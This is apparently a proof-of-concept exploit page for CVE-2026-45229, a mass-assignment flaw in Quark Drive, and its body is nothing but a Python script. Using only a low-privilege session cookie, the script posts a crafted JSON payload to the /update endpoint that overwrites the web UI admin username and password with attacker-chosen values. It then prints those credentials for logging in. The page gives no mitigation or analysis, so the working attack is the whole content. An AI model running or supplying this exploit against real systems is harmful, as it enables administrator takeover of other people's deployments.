CVE-2026-45229 Quark Drive批量赋值漏洞

import requests # Target URL url = "http://target-ip:port/update" # Attacker's controlled session cookie (Low privilege required) cookies = { "session": "low_privilege_session_token" } # Malicious payload exploiting mass assignment # Overwrites the admin credentials in config_data payload = { "config_data": { "webui": { "username": "hacker", "password": "newPassword123!" } } } try: response = requests.post(url, json=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Admin credentials potentially overwritten.") print("[+] Try logging in with username: hacker, password: newPassword123!") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")